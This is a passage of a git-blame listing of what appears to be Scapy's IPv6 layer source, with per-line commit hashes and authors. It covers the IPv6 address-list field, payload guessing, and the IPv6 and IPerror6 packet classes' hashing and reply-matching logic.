322c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 4: "IP", 323c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 6: "TCP", 324c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 17: "UDP", 325c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 43: "IPv6ExtHdrRouting", 326c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 44: "IPv6ExtHdrFragment", 327c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil #50: "IPv6ExtHrESP", 328c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil #51: "IPv6ExtHdrAH", 3290d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 58: "ICMPv6Unknown", 330c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 59: "Raw", 3315a64a524ad2b2b3e9d6ee03035e1d9aa52aef32fsachetmittal 60: "IPv6ExtHdrDestOpt" } 332c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 333c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass IP6ListField(StrField): 334b62dbe4f266acaa96e0a2ebc2152c8d5f48bdc1dPierre LALET __slots__ = ["count_from", "length_from"] 335c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil islist = 1 336c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def __init__(self, name, default, count_from=None, length_from=None): 337c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if default is None: 338c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil default = [] 339c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil StrField.__init__(self, name, default) 340c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil self.count_from = count_from 341c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil self.length_from = length_from 342c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 343c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def i2len(self, pkt, i): 344c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return 16*len(i) 345c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 346c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def i2count(self, pkt, i): 347d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter if isinstance(i, list): 348c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return len(i) 349c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return 0 3500d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 351c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def getfield(self, pkt, s): 352c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil c = l = None 353c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if self.length_from is not None: 354c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil l = self.length_from(pkt) 355c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil elif self.count_from is not None: 356c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil c = self.count_from(pkt) 3570d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 358c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil lst = [] 3591186356a1d73fd59b700d8af05e789d0e8899de6gpotter ret = b"" 360c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil remain = s 361c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if l is not None: 362c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil remain,ret = s[:l],s[l:] 363c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil while remain: 364c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if c is not None: 365c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if c <= 0: 366c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil break 367c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil c -= 1 368c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil addr = inet_ntop(socket.AF_INET6, remain[:16]) 369c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil lst.append(addr) 370c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil remain = remain[16:] 371c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return remain+ret,lst 372c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 373c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def i2m(self, pkt, x): 3741186356a1d73fd59b700d8af05e789d0e8899de6gpotter s = b"" 375c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil for y in x: 376c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil try: 377c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil y = inet_pton(socket.AF_INET6, y) 378c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil except: 379c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil y = socket.getaddrinfo(y, None, socket.AF_INET6)[0][-1][0] 380c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil y = inet_pton(socket.AF_INET6, y) 381c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil s += y 38277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil return s 383c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 384c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def i2repr(self,pkt,x): 385c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil s = [] 38677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil if x == None: 38777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil return "[]" 38877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil for y in x: 38977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil s.append('%s' % y) 390c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return "[ %s ]" % (", ".join(s)) 3910d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 3920d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass _IPv6GuessPayload: 393c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "Dummy class that implements guess_payload_class() for IPv6" 394c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def default_payload_class(self,p): 395b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon if self.nh == 58: # ICMPv6 396b612d8d9f626eeae3bc7eb2a10c139c4d79f381dgpotter t = orb(p[0]) 397505336e8b146b3f85ece8690f3a434f6a97dfe1fmtu if len(p) > 2 and (t == 139 or t == 140): # Node Info Query 398c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return _niquery_guesser(p) 3992bbd2905d8d464b3ac211f0f65d493663e0bbfb1gpotter if len(p) >= icmp6typesminhdrlen.get(t, float("inf")): # Other ICMPv6 messages 400b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon return get_cls(icmp6typescls.get(t,"Raw"), "Raw") 401b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon return Raw 402d5f51f6843ffa1d375e947a5cb03965b5291129dPierre LALET elif self.nh == 135 and len(p) > 3: # Mobile IPv6 403b612d8d9f626eeae3bc7eb2a10c139c4d79f381dgpotter return _mip6_mhtype2cls.get(orb(p[2]), MIP6MH_Generic) 404b612d8d9f626eeae3bc7eb2a10c139c4d79f381dgpotter elif self.nh == 43 and orb(p[2]) == 4: # Segment Routing header 40535354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon return IPv6ExtHdrSegmentRouting 40635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon return get_cls(ipv6nhcls.get(self.nh, "Raw"), "Raw") 407c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 408c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass IPv6(_IPv6GuessPayload, Packet, IPTools): 409c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "IPv6" 410c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ BitField("version" , 6 , 4), 411c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil BitField("tc", 0, 8), #TODO: IPv6, ByteField ? 41277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil BitField("fl", 0, 20), 41377132687c31a9d3f30c3992c70eb24d1ac0948a7Phil ShortField("plen", None), 414c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteEnumField("nh", 59, ipv6nh), 415c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ByteField("hlim", 64), 416c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil SourceIP6Field("src", "dst"), # dst is for src @ selection 417104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET DestIP6Field("dst", "::1") ] 418614f54fc4b269030ba2934b6c353fb43de886e04Phil 419614f54fc4b269030ba2934b6c353fb43de886e04Phil def route(self): 420614f54fc4b269030ba2934b6c353fb43de886e04Phil dst = self.dst 421614f54fc4b269030ba2934b6c353fb43de886e04Phil if isinstance(dst,Gen): 422d07dcda7f6659a1c97e9dc82a97c628f5a88c9f7gpotter dst = next(iter(dst)) 423614f54fc4b269030ba2934b6c353fb43de886e04Phil return conf.route6.route(dst) 424614f54fc4b269030ba2934b6c353fb43de886e04Phil 425c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def mysummary(self): 426a3618a09887e39536009036d2e88341c61d4d385gpotter return "%s > %s (%i)" % (self.src, self.dst, self.nh) 427c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 428c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def post_build(self, p, pay): 42977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil p += pay 430c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if self.plen is None: 431c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil l = len(p) - 40 432c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil p = p[:4]+struct.pack("!H", l)+p[6:] 433c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return p 434c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 435c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def extract_padding(self, s): 436c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil l = self.plen 437c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return s[:l], s[l:] 438c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 439c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def hashret(self): 440c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if self.nh == 58 and isinstance(self.payload, _ICMPv6): 441c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if self.payload.type < 128: 442c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return self.payload.payload.hashret() 443c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil elif (self.payload.type in [133,134,135,136,144,145]): 444c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return struct.pack("B", self.nh)+self.payload.hashret() 445c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 446db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet if not conf.checkIPinIP and self.nh in [4, 41]: # IP, IPv6 447db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet return self.payload.hashret() 448db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet 44977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil nh = self.nh 450a3618a09887e39536009036d2e88341c61d4d385gpotter sd = self.dst 451a3618a09887e39536009036d2e88341c61d4d385gpotter ss = self.src 452c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if self.nh == 43 and isinstance(self.payload, IPv6ExtHdrRouting): 4530d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz # With routing header, the destination is the last 4540d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz # address of the IPv6 list if segleft > 0 45577132687c31a9d3f30c3992c70eb24d1ac0948a7Phil nh = self.payload.nh 45677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil try: 45777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil sd = self.addresses[-1] 45877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil except IndexError: 45977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil sd = '::1' 46077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil # TODO: big bug with ICMPv6 error messages as the destination of IPerror6 46177132687c31a9d3f30c3992c70eb24d1ac0948a7Phil # could be anything from the original list ... 46277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil if 1: 46377132687c31a9d3f30c3992c70eb24d1ac0948a7Phil sd = inet_pton(socket.AF_INET6, sd) 46477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil for a in self.addresses: 46577132687c31a9d3f30c3992c70eb24d1ac0948a7Phil a = inet_pton(socket.AF_INET6, a) 46677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil sd = strxor(sd, a) 46777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil sd = inet_ntop(socket.AF_INET6, sd) 468c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 46935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon if self.nh == 43 and isinstance(self.payload, IPv6ExtHdrSegmentRouting): 47035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon # With segment routing header (rh == 4), the destination is 47135354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon # the first address of the IPv6 addresses list 472f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain try: 473f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain sd = self.addresses[0] 474f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain except IndexError: 475a3618a09887e39536009036d2e88341c61d4d385gpotter sd = self.dst 476f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain 477c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if self.nh == 44 and isinstance(self.payload, IPv6ExtHdrFragment): 4780d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz nh = self.payload.nh 479c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 480c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if self.nh == 0 and isinstance(self.payload, IPv6ExtHdrHopByHop): 4810d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz nh = self.payload.nh 482c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 483c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if self.nh == 60 and isinstance(self.payload, IPv6ExtHdrDestOpt): 484c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil foundhao = None 485c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil for o in self.payload.options: 486c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if isinstance(o, HAO): 487c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil foundhao = o 488c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if foundhao: 489c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil nh = self.payload.nh # XXX what if another extension follows ? 490c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ss = foundhao.hoa 491c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 492a24f657bfd8370839bc40532e872aea4b65cd1feGuillaume Valadon if conf.checkIPsrc and conf.checkIPaddr and not in6_ismaddr(sd): 493c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil sd = inet_pton(socket.AF_INET6, sd) 494a3618a09887e39536009036d2e88341c61d4d385gpotter ss = inet_pton(socket.AF_INET6, self.src) 495a24f657bfd8370839bc40532e872aea4b65cd1feGuillaume Valadon return strxor(sd, ss) + struct.pack("B", nh) + self.payload.hashret() 496c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil else: 497c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return struct.pack("B", nh)+self.payload.hashret() 498c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 499c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def answers(self, other): 500db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet if not conf.checkIPinIP: # skip IP in IP and IPv6 in IP 501db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet if self.nh in [4, 41]: 502db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet return self.payload.answers(other) 503db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet if isinstance(other, IPv6) and other.nh in [4, 41]: 504db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet return self.answers(other.payload) 505db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet if isinstance(other, IP) and other.proto in [4, 41]: 506db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet return self.answers(other.payload) 507c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if not isinstance(other, IPv6): # self is reply, other is request 508c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return False 5090d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz if conf.checkIPaddr: 5100aeb049606bee9335e62afea58479915bd6e2344Pierre LALET # ss = inet_pton(socket.AF_INET6, self.src) 511a3618a09887e39536009036d2e88341c61d4d385gpotter sd = inet_pton(socket.AF_INET6, self.dst) 512a3618a09887e39536009036d2e88341c61d4d385gpotter os = inet_pton(socket.AF_INET6, other.src) 513a3618a09887e39536009036d2e88341c61d4d385gpotter od = inet_pton(socket.AF_INET6, other.dst) 51477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil # request was sent to a multicast address (other.dst) 5150d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz # Check reply destination addr matches request source addr (i.e 516c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # sd == os) except when reply is multicasted too 517c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # XXX test mcast scope matching ? 518a3618a09887e39536009036d2e88341c61d4d385gpotter if in6_ismaddr(other.dst): 519a3618a09887e39536009036d2e88341c61d4d385gpotter if in6_ismaddr(self.dst): 5200d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz if ((od == sd) or 521a3618a09887e39536009036d2e88341c61d4d385gpotter (in6_isaddrllallnodes(self.dst) and in6_isaddrllallservers(other.dst))): 522c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return self.payload.answers(other.payload) 523c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return False 5240d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz if (os == sd): 525c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return self.payload.answers(other.payload) 526c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return False 5270d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz elif (sd != os): # or ss != od): <- removed for ICMP errors 528c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return False 529c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if self.nh == 58 and isinstance(self.payload, _ICMPv6) and self.payload.type < 128: 530c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # ICMPv6 Error message -> generated by IPv6 packet 531c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # Note : at the moment, we jump the ICMPv6 specific class 532c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # to call answers() method of erroneous packet (over 533c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # initial packet). There can be cases where an ICMPv6 error 534c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # class could implement a specific answers method that perform 535c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # a specific task. Currently, don't see any use ... 536c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return self.payload.payload.answers(other) 537c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil elif other.nh == 0 and isinstance(other.payload, IPv6ExtHdrHopByHop): 5380d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz return self.payload.answers(other.payload.payload) 539c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil elif other.nh == 44 and isinstance(other.payload, IPv6ExtHdrFragment): 5400d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz return self.payload.answers(other.payload.payload) 541c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil elif other.nh == 43 and isinstance(other.payload, IPv6ExtHdrRouting): 542c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return self.payload.answers(other.payload.payload) # Buggy if self.payload is a IPv6ExtHdrRouting 54335354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon elif other.nh == 43 and isinstance(other.payload, IPv6ExtHdrSegmentRouting): 544f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain return self.payload.answers(other.payload.payload) # Buggy if self.payload is a IPv6ExtHdrRouting 545c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil elif other.nh == 60 and isinstance(other.payload, IPv6ExtHdrDestOpt): 546c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return self.payload.payload.answers(other.payload.payload) 547c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil elif self.nh == 60 and isinstance(self.payload, IPv6ExtHdrDestOpt): # BU in reply to BRR, for instance 548c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return self.payload.payload.answers(other.payload) 549c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil else: 550c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if (self.nh != other.nh): 551c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return False 552c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return self.payload.answers(other.payload) 553c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 554614f54fc4b269030ba2934b6c353fb43de886e04Phil 5551bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadonclass _IPv46(IP): 5561bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon """ 5571bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon This class implements a dispatcher that is used to detect the IP version 5581bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon while parsing Raw IP pcap files. 5591bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon """ 5601bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon @classmethod 5611bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon def dispatch_hook(cls, _pkt=None, *_, **kargs): 5621bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon if _pkt: 563d07dcda7f6659a1c97e9dc82a97c628f5a88c9f7gpotter if orb(_pkt[0]) >> 4 == 6: 5641bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon return IPv6 5651bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon elif kargs.get("version") == 6: 5661bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon return IPv6 5671bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon return IP 5681bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon 5691bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon 5706a3a6cb71496d821e4f121e2f2989f940cc98757Guillaume Valadondef inet6_register_l3(l2, l3): 5716a3a6cb71496d821e4f121e2f2989f940cc98757Guillaume Valadon return getmacbyip6(l3.dst) 5726a3a6cb71496d821e4f121e2f2989f940cc98757Guillaume Valadonconf.neighbor.register_l3(Ether, IPv6, inet6_register_l3) 573614f54fc4b269030ba2934b6c353fb43de886e04Phil 574c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 575c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass IPerror6(IPv6): 576c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "IPv6 in ICMPv6" 577c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def answers(self, other): 578c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if not isinstance(other, IPv6): 579c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return False 580a3618a09887e39536009036d2e88341c61d4d385gpotter sd = inet_pton(socket.AF_INET6, self.dst) 581a3618a09887e39536009036d2e88341c61d4d385gpotter ss = inet_pton(socket.AF_INET6, self.src) 582a3618a09887e39536009036d2e88341c61d4d385gpotter od = inet_pton(socket.AF_INET6, other.dst) 583a3618a09887e39536009036d2e88341c61d4d385gpotter os = inet_pton(socket.AF_INET6, other.src) 584c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 58577132687c31a9d3f30c3992c70eb24d1ac0948a7Phil # Make sure that the ICMPv6 error is related to the packet scapy sent 58677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil if isinstance(self.underlayer, _ICMPv6) and self.underlayer.type < 128: 5870d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 588c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # find upper layer for self (possible citation) 589c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil selfup = self.payload 590c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil while selfup is not None and isinstance(selfup, _IPv6ExtHdr): 591c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil selfup = selfup.payload 592c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 593c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # find upper layer for other (initial packet). Also look for RH 594c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil otherup = other.payload 595c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil request_has_rh = False 596c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil while otherup is not None and isinstance(otherup, _IPv6ExtHdr): 597c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if isinstance(otherup, IPv6ExtHdrRouting): 598c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil request_has_rh = True 599c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil otherup = otherup.payload 600c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 6010d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz if ((ss == os and sd == od) or # <- Basic case 6020d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz (ss == os and request_has_rh)): # <- Request has a RH : 603c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # don't check dst address 6040d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 6050d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz # Let's deal with possible MSS Clamping 6060d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz if (isinstance(selfup, TCP) and 607c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil isinstance(otherup, TCP) and 608c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil selfup.options != otherup.options): # seems clamped 609c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 6100d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz # Save fields modified by MSS clamping 611c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil old_otherup_opts = otherup.options 612c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil old_otherup_cksum = otherup.chksum 613c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil old_otherup_dataofs = otherup.dataofs 614c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil old_selfup_opts = selfup.options 615c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil old_selfup_cksum = selfup.chksum 616c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil old_selfup_dataofs = selfup.dataofs 617c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 618c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # Nullify them 619c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil otherup.options = [] 620c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil otherup.chksum = 0 621c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil otherup.dataofs = 0 622c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil selfup.options = [] 623c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil selfup.chksum = 0 624c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil selfup.dataofs = 0 625c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 626c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # Test it and save result 6275e8857410015a93f6371459b2f870432ded39b9fgpotter s1 = raw(selfup) 6285e8857410015a93f6371459b2f870432ded39b9fgpotter s2 = raw(otherup) 629c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil l = min(len(s1), len(s2)) 630c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil res = s1[:l] == s2[:l] 631c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 632c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # recall saved values 633c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil otherup.options = old_otherup_opts 634c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil otherup.chksum = old_otherup_cksum 635c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil otherup.dataofs = old_otherup_dataofs 